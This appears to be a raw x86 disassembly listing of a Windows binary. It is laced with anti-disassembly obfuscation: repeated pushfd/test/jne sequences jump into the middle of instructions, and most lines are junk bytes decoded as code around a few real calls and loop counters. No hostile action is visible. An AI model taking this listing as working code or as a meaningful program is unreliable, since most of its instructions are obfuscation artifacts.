out dx, al
mov esi, 0x7cb2f7cc
call 0x2406b546
sbb eax, 0x766aea64
fstp dword [eax]
jo 0x1008db1c
or esp, esp
das
inc ebp
inc ebx
jge 0x1008db5b
push eax
mov bh, byte [bp + di]
dec edx
out dx, ax
xlatb
test al, 0xd4
nop
scasd eax, dword es:[edi]
fucompi st(4)
xlatb
imul ebp, dword [edx - 0x5fd0c0d8], 0x163016c5
stosb byte es:[edi], al
sub byte [edi], bh
das
mov al, byte [0x163016c5]
clc
inc esp
salc
cld
add dword [ecx + 0x71], eax
mov ebx, 0xc7fa9e36
and dword [ecx + 0x5d279d21], ecx
jg 0x1008daec
and eax, 0xe88a7bbf
arpl word [esi], ax
dec esp
xchg ecx, eax
jnp 0x1008dac7
call 0xa154e1a5
jno 0x1008dae0
das
xchg esi, eax
sal bl, 1
xchg esp, eax
jae 0x1008db55
adc esp, dword [edi]
ja 0x1008db57
sub edx, ecx
cwde
scasd eax, dword es:[edi]
in al, dx
dec eax
ja 0x1008dbd0
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
lahf
adc ch, byte [esi - 3]
outsb dx, byte [esi]
std
sub esp, dword [ebp + 0x13bac96c]
mov esi, dword [ebp - 0x73]
sub dword [edx + 0x2517c44], edi
or eax, 0x83b4ad26
push ecx
in al, dx
aaa
mov ebp, 0x9a1624f6
popfd
mov eax, dword [ebp - 0x1754]
lea eax, [eax + ebp - 0xa2a]
push eax
pushfd
test byte [0x1008dbe2], 0x7b
jne 0x1008dce3
insb byte es:[edi], dx
dec dword [ebx]
call 0xbbb928bd
lodsd eax, dword [esi]
cmc
jl 0x1008db73
pop ecx
mov ebx, 0xb4631fc2
jge 0x1008dbd4
adc dword [eax - 0x7091017d], eax
xchg ah, bh
cmp byte [ebx + 0x51c3957c], al
fist dword [ecx + 0x3964cc75]
xchg byte [edi + edi*8], ah
mov ebx, 0xc757d818
cli
and bh, bh
xor ebx, dword [ebp - 0x128fd596]
dec edx
test eax, 0xaa1d53e0
adc byte [eax - 0x6d], bh
sbb eax, 0x937810aa
jbe 0x1008dc22
mov ss, word [0xdae49efb]
mov dl, cl
adc dl, byte [esi + 0x3c1a9dbd]
outsd dx, dword [esi]
inc ebx
cmp dword [esi - 0xf], esi
int3
and bh, dl
dec ebx
mov bh, 0x3f
loopne 0x1008dc29
inc dword [eax]
cmc
add ch, dh
xchg edx, eax
mov dword [0x6bc76f4b], eax
or eax, 0x1f6132f2
fiadd dword [edi - 0x1b92a296]
sbb al, 8
out dx, al
sbb dword [ecx - 0x72], esi
mov dword [edi - 0x3a1d53f8], ebx
rol byte [edx + 0x7342a5ae], 1
xchg ebp, eax
jle 0x1008dcbb
aam 0xf
mov esi, 0x867ed042
int 0xf0
mov ebx, 0xb29bbb1c
clc
cmc
add byte [bp - 0x41f], ch
cmp ch, ah
loop 0x1008dc52
sbb dword gs:[edi + 0x48f983c1], edi
mov edi, 0x48f983c1
cmp edi, dword [eax + 0x3c]
loopne 0x1008dc3f
cmp edx, eax
pop ecx
dec esp
adc eax, 0xda7ef13e
int3
loopne 0x1008dcd2
adc al, 0xea
sti
cmpsd dword [esi], dword es:[edi]
in eax, dx
insb byte es:[edi], dx
or al, 0xa8
add ah, byte [edx - 1]
dec esp
stosb byte es:[edi], al
scasb al, byte es:[edi]
aaa
dec eax
sub cl, byte [esi + 0x4b0eefb]
mov al, 4
sub dh, byte [eax + 0x28]
dec ebp
push esp
sub eax, 0x1f8227b0
jno 0x1008dc6f
insb byte es:[edi], dx
push ebp
popfd
call fcn.1011d7d0
pushfd
test byte [0x1008dcfa], 0xd4
jne 0x1008ddfb
mov eax, 0xaac18fb4
sbb dword [ebp - 0x5c0286b1], esi
sti
fisttp qword [ebp - 0x7e5efbc7]
out dx, al
or bh, dh
cmp esi, dword [edi + esi + 0x3417fa14]
adc byte [eax + 0x6f], dh
cli
pop ss
xor al, 0x10
jo 0x1008dd85
mov edx, 0x69c8c21f
sal byte [eax - 0x69925ecb], 0x4d
sbb esp, ebx
add ebx, dword [ecx]
mov ebx, dword [ecx - 0x6d5e601b]
push eax
xchg esp, eax
push ds
push esp
jge 0x1008dd4e
jae 0x1008dd99
pop edi
scasb al, byte es:[edi]
and dh, 0xe3
call 0x9b0b595b
pop esi
int1
add dword [eax - 0x39], edi
mov ebp, 0xc978e4dc
pop eax
jbe 0x1008dda7
mov esi, 0x53c07c80
jl 0x1008dd10
push ebx
add dword [esi + ecx*4 + 0x41], 0x36bbc80a
salc
add esi, dword [ecx]
xor ecx, dword [esi]
push ebp
mov ah, 0x7b
adc eax, 0x3e351c48
mov cl, 0x76
cmpsd dword [esi], dword es:[edi]
mov esi, 0xf12da01a
or ebx, ecx
fnstcw word [ecx + ebp*8 - 0x5e]
out dx, al
rcl byte [ecx + ecx*4], cl
enter 0xffffffffffffbfdc, 0xffffffffffffff99
jns 0x1008dd74
sbb dword [esi], 0xa4b7f6e6
insb byte es:[edi], dx
ficom dword [esi]
or eax, 0x2abec06a
cmp cl, ch
xchg esi, eax
std
mov al, al
lodsb al, byte [esi]
in eax, dx
cmp byte [esp + eax*8 + 0x79771c67], 0x38
or byte [edx + 0x26], ch
ja 0x1008de14
cmp byte [eax], cl
push 0x26
mov gs, word [esi + 0x7b6696b1]
scasd eax, dword es:[edi]
fdiv dword [edi]
aaa
push ebp
leave
mov esp, 0x963c1710
das
bound esp, qword [eax + 0x26b58dfc]
adc eax, 0xb655845a
xor bh, byte [ecx - 0x73c9fe41]
mov dh, 0x32
mov ecx, 0x8c3601bf
lodsb al, byte es:[esi]
dec ebx
or bh, byte [eax + 0xd]
salc
int1
sti
in al, 0xa3
adc al, 0x8d
push esp
mov bh, 0x4d
mov edi, 0x4380906f
cli
or al, 0x50
cdq
cmp cl, 0xe7
sub ebp, dword [eax - 0xa4c7c15]
sbb eax, 0xb86f63c1
into
dec eax
mov eax, dword [0xf963bc5a]
test eax, 0x5800e6f2
mov ah, 0xb5
sahf
pop edx
clc
popfd
add esp, 0xc
cmp dword [ebp - 0xa2a], 0xabcd
jne 0x1008d401
mov eax, dword [ebp - 0x5e0]
mov esi, dword [ebp - 0x1750]
pushfd
test byte [0x1008ded5], 3
dec dword [ebx - 0x174f4b]
call [esi + esi*8 + 0x8ded505]
adc byte [ebx], al
jne 0x1008ded6
push ecx
jno 0x1008ddba
mov esp, 0xaca52870
xor eax, 0xd891aa97
sub eax, 0x1e50f9f4
add dword [edi + eax + 0xb76f900], esi
xchg edx, eax
pop edx
sub byte [ecx + 0x60b1d663], ah
jg 0x1008dea2
invalid
nop
pop ss
pop es
shl byte [edi + 0x68], cl
mov cl, byte [eax - 0x3c45d28d]
add al, 0xfd
add eax, 0x1d1b3dcd
rcr byte [edi], cl
xchg byte [edx], al
and byte [edx], ch
sbb eax, 0x2ec8e499
push ebx
mov edx, 0xa5e4102a
mov ebp, 0x76c64d3c
rcl dl, 1
test ch, 0x86
idiv dh
dec edi
mov al, byte [0xdc23ca9e]
inc edx
add dword [ebp + 0x2e], esp
push es
scasb al, byte es:[edi]
pushfd
push es
pop edi
push ebp
add dword [ecx - 0x21195a26], eax
sub bh, byte [ecx - 0x54]
dec esp
out dx, eax
popfd
xor ebx, ebx
xor edi, edi
inc ebx
mov dword [ebp - 0x1734], eax
inc edi
lea eax, [ebp - 0xaa4]
push eax
pushfd
test byte [0x1008df26], 0x26
jne 0x1008df27
jg 0x1008de8b
and dh, byte [eax]
fdiv dword es:[ebx - 0x43]
pop ebp
inc esi
insd dword es:[edi], dx
pop ebx
aad 0x96
not byte [edi]
add bh, dl
adc byte [edi + ebx*4], dh
outsb dx, byte [esi]
test byte [ebp - 0x1f], cl
add eax, 0x3a8175f1
adc al, 7
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x43512e6a
push ecx
inc ebx
pop esi
sub al, 0x3b
jg 0x1008df7f
jle 0x1008df44
aad 0x75
xchg esi, eax
popfd
call fcn.10059e87
pop ecx
test eax, eax
je 0x1008e463
lea eax, [esi + 0x7e0]
push eax
pushfd
test byte [0x1008df80], 0xc6
jne 0x1008df81
invalid
shl dword [ebp - 0x389afb32], cl
push edi
or dword [ecx - 0x69264177], esi
and byte [0xfee15dfe], cl
lea esi, [ecx + 0x1e]
pop ebp
mov al, bh
xchg byte [edi - 0x1b49bdfb], ah
cmp eax, 0xcff20194
mov ch, 0x6f
dec ecx
adc eax, 0x823897a5
adc dword [ecx], esp
pop es
jne 0x1008dfd9
jb 0x1008df1a
or edi, edi
xchg dword [eax], esi
inc esi
outsb dx, byte [esi]
popfd
mov dword [ebp - 0x1760], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0xa9f]
push eax
mov ecx, esi
call fcn.1006c9e9
test eax, eax
jne 0x1008e457
mov ecx, dword [ebp - 0x1764]
mov eax, dword [ecx]
pushfd
test byte [0x1008e040], 0xb6
jne 0x1008e041
mov ebp, 0xbfb7bb14
mov dl, 0x6b
popfd
mov cl, 0x73
pop ds
sbb dword [edx - 0x4da8fc13], ebp
stosd dword es:[edi], eax
sar dword fs:[edi], 0x1e
or eax, 0x4edf4b06
xchg ebx, eax
pop esp
fidiv dword [edi + edx*2]
xor al, 0x57
in al, 0x3c
mov byte [eax - 0x15], al
je 0x1008e058
ror edx, cl
pop ebp
mov ebx, 0x8212e90c
inc ebp
out 0x9a, eax
sbb dword [ecx + ecx*2], edi
loop 0x1008e06e
xchg esp, eax
dec ebx
mov ah, 1
outsb dx, byte [esi]
mov esp, 0x82936502
or dword [ebx - 0x136a6b5f], 0xffffff89
pop bx
mov dl, 0xd
cmp ebx, dword [ebp + 0x5182571e]
sar ah, 0x9f
mov edi, 0x781bb46d
adc dh, byte [ebp + edx + 0x49dfd104]
leave
lodsb al, byte [esi]
sub byte [ebx + 0x31], ah
out dx, eax
pop ds
mov edx, 0x5a88c9ef
xor dword [edx], eax
dec edi
or byte [ecx + 0x4cd1de8e], dl
and dh, byte es:[ebx]
push ebx
fisttp word [ebp + 0x62]
adc eax, 0xe359f531
fldcw word [ecx]
popfd
lea edx, [ebp - 0xaa4]
push edx
push eax
call fcn.10036453
lea ecx, [ebp - 0x130c]
call fcn.1005a3c0
push 0x41d
pushfd
test byte [0x1008e122], 0xba
jne 0x1008e123
add byte [eax], al
invalid
cld
jmp [eax + 0x1d]
add byte [esi + esi*8 + 0x8e12205], bl
adc byte [edx + 0xb6850f], bh
add byte [eax], al
invalid
and byte [eax], 0xea
and dl, ch
cmpsd dword [esi], dword es:[edi]
aad 0xa9
add dword [ebx - 0x80], edx
sub dword [edx - 0x1c930274], ebx
aaa
lahf
cdq
fbld tbyte [edi - 0x2b]
mov dh, byte [eax + 0x14]
add esi, eax
int1
sahf
in al, dx
pop edi
xor dword [esi - 0x4253a6cc], ecx
fcomp dword [esi]
push esi
enter 0x3f34, 0xffffffffffffffba
jecxz 0x1008e032
lodsd eax, dword [esi]
or dword [ebp - 0x57], ebx
mov dh, 0xf8
jnp 0x1008e06d
sti
fadd dword [ebp + ebp*2 + 0x38]
jnp 0x1008e0b5
inc ebx
shl eax, cl
int1
or eax, 0x95ab7731
mov ebx, 0xbe09bc2b
fisttp word [ebp + eax + 0x2e]
pop ss
sub edi, dword [ecx + ecx + 0x54cdfbe]
pop ss
int1
add al, 0x2a
fistp dword cs:[esi]
sub ch, byte [esi]
fistp dword [esi]
dec eax
fsub dword [eax + 0x7f537761]
das
or al, 0x9e
scasb al, byte es:[edi]
jle 0x1008e05e
mov al, 1
neg dl
mov ecx, 0xc2f81772
sbb al, al
dec edi
mov ecx, 0x86c3bcdf
mov esp, dword [ebx - 0x43eacec9]
mov byte [edi], ah
mov ebp, 0x9e03b798
xor dword [0xbd2788bc], edx
cwde
mov bh, 3
sahf
ror byte [ebp + 0x49], cl
out dx, eax
test al, 0x1c
pop ebp
jb 0x1008e0c0
cmp byte [edx], cl
adc eax, 0x40d37ead
loop 0x1008e0e6
push esp
mov bl, 0xf9
or bl, byte [edi + ecx*2 - 0x2a]
mov ebx, 0x1350729e
xchg esp, eax
mov dl, byte [eax - 0x6f]
sbb dword [edi - 0x3e638646], ebp
jbe 0x1008e193
js 0x1008e15c
pop ecx
xor eax, 0xcbb61e3e
popfd
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x130c]
push eax
pushfd
test byte [0x1008e1c5], 0xe2
jne 0x1008e1c6
add eax, 0x1008e1c5
loop 0x1008e14a
test dword [esi - 0x47000000], eax
or esi, dword [eax]
xchg ecx, eax
mov ecx, 0x9120340b
cld
and dword [eax], 0x4bfda2bf
std
dec ebx
sti
pop ecx
fiadd word [eax]
xor eax, 0x7ae48dda
sub eax, 0x56a5d65f
cld
sbb bh, bh
test al, 0xe8
cmp eax, 0x5928db2c
ja 0x1008e1da
jmp [eax - 0x24d3c218]
das
imul ecx, esi, 0xaf4e168a
jne 0x1008e1ce
cdq
xchg ebx, eax
and eax, 0x68b475cd
je 0x1008e134
sbb eax, 0x1b6575ec
std
cld
fldenv [edi - 0x1b5bfcaf]
jecxz 0x1008e188
mov al, byte [0x307d7eb8]
fisttp word [ecx]
cmp al, 0x87
mov eax, 0xdf307d7e
or dword [edi + eax*4], edi
and edx, esi
sub byte [edx + 0x6a6e7ea6], bl
cmp eax, 0xc27fd225
lcall 0x253d, 0x6a6e7ea6
sar byte [edi - 0x3e], cl
cmp eax, 0xe208911b
and esp, dword [ebp + 0x77]
int3
popfd
call fcn.1011d7d0
pushfd
test byte [0x1008e20d], 0x25
jne 0x1008e20e
add eax, 0x1008e20d
and eax, 0x2c673875
stosd dword es:[edi], eax
sub al, 0xab
inc ebp
xor dl, cl
call 0x8c3506f4
push eax
and dword [esi - 0x1c78e621], edi
scasd eax, dword es:[edi]
out dx, eax
out dx, al
fisubr word [ecx - 0x76]
mov eax, 0xaa4ed4a8
outsd dx, dword cs:[esi]
fcmovbe st(0), st(6)
mov cl, 3
pop ebp
inc esp
test byte [ecx], ch
xchg ebx, eax
in eax, dx
mov dl, 0x9d
add al, 0x41
push ds
cmp byte [esi - 0x37], ch
dec esi
xor dl, byte [edx + edi*8]
dec esi
pop esi
popfd
add esp, 0xc
cmp ebx, edi
jne 0x1008e384
pushfd
test byte [0x1008e30d], 0xa5
je 0x1008e30e
mov esi, 0x3cf11717
xor al, bl
pop ebp
sub dword [eax + 0x7d], ebp
and ecx, dword [esp + ecx*4]
fstp dword [ebp - 0x67bfaeca]
add al, 0x8c
xor byte [ecx - 0x6365d879], bh
dec eax
adc byte [0x50aac7f1], 0xe6
or eax, dword [ecx - 0x2e]
into
in al, 0xdb
pop eax
mov esi, 0x10fce8ac
fstp dword [esi + 0x18a27e6]
fidiv word [edx]
clc
cli
sub cl, cl
add eax, 0xe172852f
mov eax, dword [0xc22bc717]
mov al, byte [0x825b26e3]
sahf
xchg edx, eax
mov ecx, 0xd4e9b67d
clc
pop ebx
sbb byte [esi - 0x4982466e], 0xe9
aam 0x26
clc
adc dword [ebp + 0x5ccdbb11], edi
ficomp word [eax]
salc
dec ebp
bndstx [esi - 0x26], bnd1
arpl dx, si
add byte [ebx + 0x18ac3ca5], ch
in al, 0xed
dec ebp
mov ebx, 0x7340e1a6
fcos
inc edi
and eax, 0xb7fd00f5
mov byte [ecx + 0x5a], dl
and eax, 0xd9786145
push edx
push esi
cmp eax, 0x16c8ab2f
pop edx
jecxz 0x1008e2f8
test byte [esi - 0x5f], bh
mov dword [ebp + 0x31], esp
jbe 0x1008e2c9
xor dword gs:[esi + 0xd], esi
test al, 0x74
mov al, byte [0x10ffa6fc]
inc ebp
add bh, byte [eax - 0x15d8ba65]
mov ecx, 0x4efa6041
pop esi
in eax, 0x65
inc edx
push edi
sbb dword [edx + 0x4e9208aa], 0x449a0b94
je 0x1008e270
ljmp 0x5e4e:0xfa6041b9
mov ebp, 0xe02f6857
sar dword [ebx], 1
cmp eax, 0xff55d59d
salc
push ds
in al, 0x92
pushal
xor dh, ch
stc
cmp al, byte [ecx - 0x34e0fc28]
sbb al, 0x5f
sub ecx, dword [edi - 0x7a]
inc edi
dec edx
dec ebx
inc esp
xor eax, 0xb8036cad
xor ecx, dword [ebp + 0x1a785735]
pop ds
retf
popfd
push 0x41d
lea eax, [ebp - 0x172c]
push eax
lea eax, [ebp - 0xeef]
push eax
pushfd
test byte [0x1008e37a], 0xe3
jne 0x1008e37b
in al, dx
sal dword [eax - 7], 1
cmpsd dword [esi], dword es:[edi]
push esi
clc
dec esp
jecxz 0x1008e2b8
cdq
and ah, bh
mov cl, 0xae
out 0x17, al
test ebp, ecx
out dx, al
push ss
mov bl, 0x67
pushal
pop ds
cmp byte [edi + 0x18ebae7f], 0x65
lea ebx, [ecx]
sbb dword gs:[eax + 0x373f7dba], edi
shl dword [edi + 0x44], 1
and eax, 0x91e53969
mov edx, 0xdbd77301
adc ah, byte [esi - 0x7fe916d1]
mov edx, dword [ebx + 0x64114d94]
mov bl, 0xc5
cmp dl, byte [ebp + 0x672f2d4e]
or edx, edi
pop eax
cwde
popfd
call fcn.1011d7d0
add esp, 0xc
mov eax, dword [ebp - 0x1734]
lea ecx, [esi + 0x7a4]
lea edx, [ebp - 0x130c]
pushfd
test byte [0x1008e3bc], 0xcd
jne 0x1008e3bd
psllq mm4, qword [ecx]
push esp
popal
and eax, 0x5cbb4b9c
fidivr word [esi - 0x6b]
push cs
stosd dword es:[edi], eax
mov eax, 0x854da501
test dword [ebp - 0x16], ecx
mov al, byte [0x79435275]
popfd
mov dword [ebp - 0xad0], eax
mov eax, dword [ecx]
push edx
push eax
add dword [edx + 0x50], edx
mov dword [ebp - 0xac8], ebx
call fcn.100696d5
lea eax, [ebp - 0x130c]
pushfd
test byte [0x1008e44d], 0x61
jne 0x1008e44e
inc edi
scasd eax, dword es:[edi]
jg 0x1008e37b
mov al, byte [0x576b53ba]
pop ebx
mov esp, 0xbcf021dd
jle 0x1008e3c5
mov edi, 0xf69c2262
cmp al, 0x84
dec ebx
shl dword [edi], 1
mov ah, 0xdb
aaa
and eax, dword [edi]
std
mov gs, word [eax + ebx*8 + 0x23]
call 0x310db0a5
xor ecx, dword [edx + 4]
in eax, 0xd4
adc eax, 0x2e427c8
mov ch, 0xa7
lodsd eax, dword [esi]
push 0xf20ab9b5
mov edx, 0x28f89eb6
push ss
sbb dword [eax + 0x3837dc3d], edi
lea esp, [ecx + 0x32eab9d5]
xor dl, ah
inc esi
sub dword [esi + 0xb], esi
rcl byte [eax], cl
pop ebp
sub al, 0x85
les esi, [eax + 0x79]
fimul dword [esi + 0x75750171]
sub eax, 0x3c310a1a
and byte [eax + 0x67], dl
popfd
push eax
mov ecx, esi
call fcn.10056132
push dword [ebp - 0x1760]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor esi, esi
push esi
pushfd
test byte [0x1008e497], 0xb8
jne 0x1008e498
cmp al, cl
inc edx
pop esi
pop ds
in eax, 0x63
mov bh, 0x9e
pop ss
arpl word [eax - 0x2e], ax
sahf
jns 0x1008e401
div byte [edx + ebp]
jbe 0x1008e4ac
inc ecx
push esp
in al, dx
inc ebx
inc ebp
int3
popfd
push edi
lea ecx, [ebp - 0x5f0]
call fcn.10002a9a
lea ecx, [ebp - 0x1744]
mov byte [ebp - 4], 4
call fcn.10001009
pushfd
test byte [0x1008e506], 0x5d
jne 0x1008e507
inc ebp
cld
add al, 0xe8
push ebp
sub esi, edi
call [esi + esi*8 + 0x8e50605]
adc byte [ebp + 0x75], bl
dec ecx
mov eax, 0xf3fbb427
clc
mov byte [ebp - 0x29], dl
mov ch, 0xd2
mov esi, 0xf0a1854f
mov dl, 0xfe
xor edi, dword [ecx + 0x44f90485]
push ebp
push es
inc ebx
xchg byte [edi - 0x1d], bh
and esi, dword [edx - 0x17]
popal
test eax, 0xc5c3d4f5
test ecx, ebx
xchg byte [esi], dl
mov dh, 0x4b
cmc
aam 0xc3
lds eax, [ebp - 0x49e97927]
dec ebx
outsb dx, byte [esi]
adc al, 0x13
adc ebx, dword [ecx + edi - 0x79]
out 0x7e, al
cmp eax, 0x22db4e1a
in eax, 4
adc dword [ecx - 0x3d], ecx
sub byte [esi - 0x7a065053], ch
out 0xfa, eax
popfd
push esi
push edi
lea ecx, [ebp - 0x60c]
call fcn.10002a9a
inc ebp
idiv edi
or dword [ebp - 4], 0xffffffff
push esi
push edi
pushfd
test byte [0x1008e61e], 0x10
je 0x1008e61f
inc edi
clc
out 0x14, al
or dword [ebx], edi
cmp al, 0xfa
test eax, 0xc12853bf
fdivr st(6)
cmp edi, eax
aad 0xe0
arpl sp, bp
in al, dx
jo 0x1008e53d
int1
mov al, byte [0x2c3c28b8]
das
jno 0x1008e4e0
das
call 0xf1fa22af
xlatb
ja 0x1008e4e1
dec edx
daa
inc eax
sub dword [eax], ebx
xor eax, esp
imul edi, esi, 0x76294c66
mov ah, 0x76
leave
inc esi
and al, 0xe3
adc dword [edx - 0xa], edi
cmp dword [ebx], edx
pop eax
jno 0x1008e53c
push es
push esi
push ebx
dec edx
xor ecx, dword [edi + 0x40]
jl 0x1008e512
stosd dword es:[edi], eax
add dl, ah
cdq
outsb dx, byte [esi]
fiadd dword [esi + 0x5f462037]
pop ss
sbb edx, edi
sbb ah, bl
imul ecx, dword [eax - 0x4a36cb93], 0x6ea54267
xor esp, esi
or dword [esi + 0x45], esp
and eax, ecx
cmc
out dx, eax
dec ebp
inc esi
push ecx
cmc
mov eax, dword [0x74ea032c]
and eax, 0x11fcb7c5
mov esi, 0xd81c5090
nop
push eax
sbb al, 0xd8
jns 0x1008e5fd
jno 0x1008e5fa
sbb eax, 0x6078ffdd
in al, dx
mov dl, 0x3c
imul ecx, dword [edi], 0x55cb8edd
and al, 0x84
shl dword [edi - 0x1d879895], cl
js 0x1008e5a8
mov edx, 0x7911b3c
xor eax, 0x49047173
xlatb
push esp
aad 0x39
jns 0x1008e5e7
fistp word [esi - 0x13]
outsd dx, dword [esi]
jecxz 0x1008e64b
push es
pop edx
add dword [0x66dbf099], 0xffffff89
pop ebp
stc
add byte [ebx + 0x3b1b23bd], dl
dec ebp
in al, dx
mov cl, 0x96
inc esi
in al, dx
dec ebp
sub ebp, dword [edi + 0x1665e37]
insb byte es:[edi], dx
sbb esi, dword [ebx]
add dword [ebx + ebx + 0x33], ebp
xor edi, eax
clc
xchg ecx, eax
in eax, dx
push edx
pop ss
fst dword [eax - 0x71]
sub ebx, dword [ebp - 0x561a51d4]
pop ss
aas
adc dword [ebx + 0x14d61a11], edi
push esp
nop
popfd
or eax, 0xd73eecad
ja 0x1008e5c4
popfd
lea ecx, [ebp - 0x644]
pushfd
test byte [0x1008e6dd], 0xec
jne 0x1008e6de
mov edi, 0xc97bf13a
inc ecx
outsd dx, dword [esi]
aaa
dec edx
insd dword es:[edi], dx
cmp ah, byte [esi]
xchg ch, dl
sbb byte [eax + 0x5b], cl
and dword [edi + 0x434e0802], eax
xchg ebp, eax
pop esi
cmc
sbb dh, byte [ebp + edx - 0x432bde3f]
cmp esi, ecx
xor cl, byte [edi]
pop ss
sub al, 0x5d
nop
sahf
je 0x1008e600
nop
sbb al, 0xae
and ebx, dword [ebp + 0x1683bdf9]
sbb byte [edi - 0x60], bl
mov dh, 0xdb
loop 0x1008e6c9
lea ebp, [ebx - 0x5f6bb46]
pop edi
dec ecx
fstp dword [ebp + 0x3932fccf]
push ecx
xchg ebx, eax
adc ah, dl
or al, byte [ebx]
push eax
add bl, byte [esi + 0x1f0ed462]
and ecx, ebp
dec ebp
push cs
pop ds
or byte [ebp + 0x13ea5b6a], bh
stosd dword es:[edi], eax
imul edi, edi, 0x1b
out dx, al
dec dword [0x69106f74]
aad 0xec
mov ch, 0xa0
cmp bl, byte [ecx + 0x20]
pop esi
mov dword [esi + 0x14], ecx
push 0x53593c1f
inc esp
bound esi, qword [esi + 0x3b]
dec esp
mov esi, 0x4d7832c2
dec edx
mov dh, 0xb8
insd dword es:[edi], dx
pop edi
imul eax, esi, 0x90bea51c
mov esi, 0xa07ee090
dec edx
pop edi
xlatb
loopne 0x1008e6cb
loopne 0x1008e74b
mov al, byte [0xe0d75f4a]
clc
and ecx, 0x13
mov dword [edx - 0x641dc51a], esi
dec edx
xchg edx, eax
popfd
call fcn.10002a9a
inc dword [ebp - 0x174c]
cmp dword [ebp - 0x174c], 0x64
jl 0x1008b9c7
jmp 0x1008e891
push 0
push edi
lea ecx, [ebp - 0x60c]
call fcn.10002a9a
or dword [ebp - 4], 0xffffffff
push 0
push edi
pushfd
test byte [0x1008e784], 0x72
jne 0x1008e785
invalid
sbb dword [esi*8 + 0x1e5e26bc], ecx
inc eax
push ebp
add bl, ch
adc byte [ecx + ebp*2 - 0x22e9f1c8], bl
sbb byte [ebp + edi*8 - 0x7c], al
lodsd eax, dword [esi]
in al, 0xec
ja 0x1008e704
adc al, 0x57
daa
push es
pop ebp
sbb eax, 0x597366c3
cmp esp, edi
imul ebx, dword [esi], 0xffffffd3
dec eax
cmp dword [ebx + 0x35], edx
mov dword [ebx], esp
xchg esi, eax
lea ebx, [edi]
push ebp
fcmovnb st(0), st(1)
jns 0x1008e7bc
and edx, dword [esi - 0x24aae073]
sar dword [ecx + 0x68], 0x3b
imul edi, edi, 0x46899ec8
cmp ebp, dword [ecx - 1]
enter 0xffffffffffff899e, 0x46
xor dword [edx - 0x5e5911cb], edx
in eax, 0xe4
mov dword [0x93e88bad], eax
inc edi
jno 0x1008e74b
shl dword [eax + 0x1a9c1979], 1
add al, 0xa4
dec edi
pushfd
salc
mov ecx, 0x67706eed
loopne 0x1008e75b
sbb byte [edi + 0x3a6e3974], ah
jnp 0x1008e799
popfd
lea ecx, [ebp - 0x644]
call fcn.10002a9a
pushfd
test byte [0x1008e88f], 0x5e
jne 0x1008e890
xchg ecx, eax
mov al, 0x98
sub al, 0x15
adc edi, dword [edi]
add ebx, esi
cmpsb byte [esi], byte es:[edi]
cmp dword [edx - 0x43646e0c], esp
les edi, [ebp + 0x31]
xchg ebp, eax
loop 0x1008e7df
cmpsb byte [esi], byte es:[edi]
salc
push ds
in al, 0xc2
inc esp
sti
salc
sti
and dword [eax - 0x4b78f23a], esi
rcr byte [ecx - 0x72], 0xb3
stosb byte es:[edi], al
xchg edx, eax
popfd
mov ecx, eax
mov ah, 0x7d
push edx
pop ecx
invalid
enter 0x7db4, 0x52
sbb eax, 0x7e9dd265
jo 0x1008e7cc
insb byte es:[edi], dx
xor al, 0xa4
lodsb al, byte [esi]
dec esi
test eax, 0x3d5921e2
popfd
loopne 0x1008e83d
pop ecx
cmp eax, 0xac59e09d
lodsb al, byte [esi]
rcl byte [edi], 0xd1
or edi, dword [ecx + 0x418431cb]
and eax, 0x460360fb
in al, 0x87
add al, cl
and eax, 0x8ae5cd97
mov dword [0x414de2c4], eax
fcmovb st(0), st(6)
or dword [ebx + 0x15], edx
xchg ecx, eax
imul edi, dword [edi - 0x6bf11905], 0x32
mov ds, word [ebp - 0x25ef2974]
push ds
aas
mov edx, 0x66a6c80f
or eax, 0xdc764dfb
sbb ebx, eax
cmp eax, 0x14b88a7a
int 0xd4
inc esi
jnp 0x1008e7c5
cmp byte [ebx + edi*8 + 0x25], dl
sahf
xchg ch, ah
add al, 0x13
dec eax
and byte [eax + 0x7ff3d40d], al
cdq
in al, dx
adc eax, dword [eax - 0x50]
adc eax, dword [esi]
pop ds
fidiv word [eax]
mov ebx, 0x711820b1
push edi
xor eax, 0x8d3db7f5
rcl byte [ecx - 0x7f46f008]
push eax
xchg ecx, eax
xor dword [edi - 0x61f3a7], esp
cmp bl, ch
sbb byte [edx], dh
dec edi
les ecx, es:[esi - 0x77]
in eax, 0xae
into
nop
pop ebp
push cs
das
jge 0x1008e8b5
pop ebx
xor byte [edx + 0x4b], 0xee
aam 0x75
cmp byte [esp], bh
xchg edi, eax
or al, 0xfe
jecxz 0x1008e895
pop eax
or edx, dword [eax - 0x4975a55b]
push cs
sahf
fmul dword [esi]
and dword [esi - 0x32], eax
popfd
inc dword [ebp - 0x1740]
cmp dword [ebp - 0x1740], 2
mov ebx, dword [ebp - 0x1750]
jl 0x1008b817
invalid
lea eax, [ebp - 0x173c]
push eax
pushfd
test byte [0x1008e921], 0x98
je 0x1008e922
jmp 0x84a0f8c2
adc byte [eax + 0x40726774], bl
jb 0x1008e8fd
adc edx, dword [ebx + 0x6c]
imul ebp, dword [eax], 0x47
scasb al, byte es:[edi]
lodsb al, byte [esi]
call 0xa6025fd9
sbb dword [ebp - 0x1d104856], 0x40ff3b67
add ah, bh
sar esi, 1
mov ebx, 0x9abc2b3e
or byte [edx + 0x4f], ch
test byte fs:[ecx], bh
pop edx
test byte [esi], dh
nop
nop
jle 0x1008e8c5
push es
jne 0x1008e8b7
fnstcw word [edx - 0x71]
mov dword [0x54b9f6ba], eax
or dword [eax + 0x5a], ebx
xlatb
int1
pop ecx
jbe 0x1008e8e5
mov ebx, 0x164b61f0
inc edx
test al, 0xe9
xchg eax, edi
dec edi
sub al, 0xbc
jl 0x1008e95e
invalid
jmp 0x3c58e18f
cwde
mov esp, 0x7316bc33
cli
xor dword [ebp - 0x78], edx
fidivr dword [ecx]
mov dword [edi], esi
mov dword [0x597a9218], eax
push ebp
mov dl, bl
cmp dword [ecx - 0x6de75cc9], ecx
jp 0x1008e977
ja 0x1008e903
mov bl, 0x41
popfd
call fcn.1004e495
add dword [ebp - 0x173c], 0x15180
pop ecx
adc dword [ebp - 0x1738], 0
jmp 0x1008b3b2
retf 0xffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
pushfd
test byte [0x1008e9dc], 0x23
jne 0x1008e9dd
mov ch, 0x45
arpl di, ax
mov esi, 0xbb4a54c9
jo 0x1008e99f
pop ds
push cs
